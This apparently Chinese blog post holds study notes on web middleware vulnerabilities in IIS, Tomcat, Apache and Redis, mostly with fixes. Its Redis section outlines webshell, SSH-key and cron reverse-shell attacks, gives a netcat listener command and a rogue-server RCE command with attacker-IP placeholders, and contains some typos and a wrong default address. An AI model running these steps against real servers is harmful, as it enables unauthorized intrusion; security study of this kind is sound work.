中间件漏洞

  • 常见的web中间件
    1、Web服务器:Apache、Nginx、IIS,可能存在路径遍历、任意文件读取。
    2、应用服务器:Tomcat、JBoss、WebLogic,可能存在反序列化,远程代码执行漏洞。
    3、脚本语言解析器:PHP、Python、Ruby、Node.js等,可能存在代码注入、远程代码执行。
    4、数据库:MySQL、Oracle、redis等,可能存在SQL注入、未授权访问、代码执行漏洞。
    5、Web服务插件:Struts2、Spring、ThinkPHP等框架,可能存在OGNL表达式注入、远程代码执行漏洞。
    6、缓存组键:Redis、Varnish等,可能存在未授权访问、代码执行、信息泄露漏洞。
    7、前端组件:JQuery、React、Vue.js等,可能存在XSS、信息泄露。
    8、负载均衡:Nginx、HAProxy、F5 BIG-IP等,可能存在路径遍历、信息泄露、RCE漏洞。
  • IIS漏洞
    IIS为互联网信息服务,一般适用于windows系统,不适用于其他系统。(解析漏洞、目录解析漏洞、远程代码执行漏洞、PUT文件上传漏洞、短文件名漏洞、)
    1. IIS 6.X 解析漏洞
      基于文件名:IIS 6.0 默认不解析;后面的内容,例如 1.asp;.jpg 会当作1.asp解析,相当于分号截断。
      基于文件夹:IIS 6.0 会将 /*.asp/文件夹下的文件当成asp文件解析。(.asa、.cdx、.cer也解析为asp)
      修复:禁止创建文件夹;重名上传文件;限制上传目录执行权限,不允许执行脚本。
    1. IIS 6.0 远程代码执行漏洞 CVE-2017-7269
      在Windows Server 2003的IIS 6.0 的webDAV 服务端ScStorageFromUrl函数存在缓存区溢出漏洞,攻击者通过一个以"if:<http://"开始的较长的header头的PROPFIND请求执行任意代码,控制目标主机。
      修复:关闭webDav服务,使用相关设备防护。
    1. IIS 7.X 解析漏洞
      Fast-CGI运行模式下,在任意文件,例a.jpg后面加上/.php,会将a.jpg解析为php文件。
      修复建议:配置cgi.fix_pathinfo(php.ini中)为0并重启php-cgi程序。
      限制上传的脚本执行权限,不允许执行脚本
    1. IIS短文件猜解漏洞
      IIS短文件名机制,可以暴力猜解短文件名,访问构造的某个存在的短文件名,会返回404,访问构造的某个不存在的短文件名,会返回400。
      windows以8.3格式生成与MS-DOS兼容的短文件名,以允许基于MS-DOS或16位Windows的程序访问这些文件。
      IIS支持短文件名猜测的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种。IIS8.0之后的版本只能通过OPTIONS和TRACE方法被猜测成功。
      修复:升级.net framework到4.0以上版本;修改注册表禁用短文件名功能;关闭NTFS8.3文件格式的支持(默认开启);
      局限性:该漏洞只能确定前6个字符,如果后面的字符太长,包含特殊字符、很难猜解。
      如果文件名本身太短(无短文件名)也是无法猜解的;如果文件名前六位带空格。8.3格式的短文件名会补进,和真实文件名不匹配。
  • Tomcat漏洞
    Tomcat是一个开源免费的jsp服务器,默认端口:8080,轻量级应用服务器。可以实现Javaweb应用程序装载,是1配置JSP和JAVA系统必备的一款环境。
    1. Tomcat put方法任意文件写入漏洞
      当Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法,在conf配置目录下/web.xml配置文件中添加readonly设置为false时,将导致该漏洞产生,攻击者可以利用构造PUT方法数据包向服务器上传包含任意代码的JSP文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

      修复:设置readonly为true。
    1. Tomcat后台弱口令部署war包
      Tomcat默认控制台地址:http://127.168.0.0:8080/manager/html
      默认密码:tomacat/tomcat
  • Apache漏洞
  • 1.Apache多后缀解析漏洞
    Apache解析漏洞主要原因是Apache默认一个文件可以有多个.分割得后缀,当最右边得后缀无法识别(mime.tyoes文件中为合法后缀 )则继续向左看,直到碰到合法后缀才进行解析(以最后一个合法后缀为准)

  • 2.Apache罕见后缀解析漏洞
    Apache配置文件中会有.+.ph(p[345]?|t|tml)此类的正则表达式,被当php程序执行的文件名要符合正则表达式。也就是说php3,php4,php5,pht,phtml等文件后缀也是可以被当作php文件进行解析的。
  • 3.Apache换行解析漏洞CVE-2017-15715
    Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。2.4.0-2.4.9版本存在一个解析漏洞,在解析PHP时,1.php\x0a将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
    正则表达式中,$来匹配字符串结尾位置。如果设置了RegExp对象的Multiline属性,则$也匹配'\n'或'\r'。要匹配$字符本身,使用$。
    如果设置MULTILINE标示,就当作换行符处理,如果不设置一律当作一行文本处理。
  • redis未授权访问漏洞如何入侵利用
    1、写入webshell:设置web目录路径需要知道绝对路径,设置数据库文件名、写入PHP代码,保存到文件,访问HTTP://目标IP/shell.php即可执行任意PHP代码。
    2、SSH公钥钥写入一句话木马:本地生成SSH密钥对,将公钥写入文件,连接redis写入公钥、设置redis保存路径为SSH目录
    3、计划任务反弹shell:写入反弹shell命令,监听端口:nc -lvbp 4444
    4、主从复制RCE# 利用工具:https://github.com/n0b0dyCN/redis-rogue-server
    python3 redis-rogue-server.py --rhost 目标IP --lhost 攻击者IP
    应急响应步骤:
    1、立即断开网络:禁用redis服务或从网络隔离 systemctl stop redis
    2、检查后门:检查可疑文件find / -name "*.php" -mtime -1
    ls -la /root/.ssh/authorized_keys
    crontab -l
    检查redis数据:redis-cli -a 密码 keys *
    3、恢复措施:删除恶意keyredis—cli -a 密码 flushall
    删除webshell rm -f /var/www/html/shell.php
    删除SSH密钥 rm -f /root/.ssh/authorized_keys
    4、更新加固:apt-get update &&apt-get upgrade redis—server
  • java常见的中间件容器(回答存在问题略过)
    Tomcat 、JBoss、oracle、Eclipse、weblogic
  • Tomcat重启的话,webapps下你删除的后台会不会又回来?
    1、如果只是手段删除了webapps目录下的应用文件夹/WAR文件:不会自动恢复
    2、如果配置了自动部署源;自动化脚本/版本控制系统,配置了热备份/同步,使用Docker恢复原始镜像;会恢复
posted @ 2025-03-19 16:11  予遂计划  阅读(73)  评论(0)    收藏  举报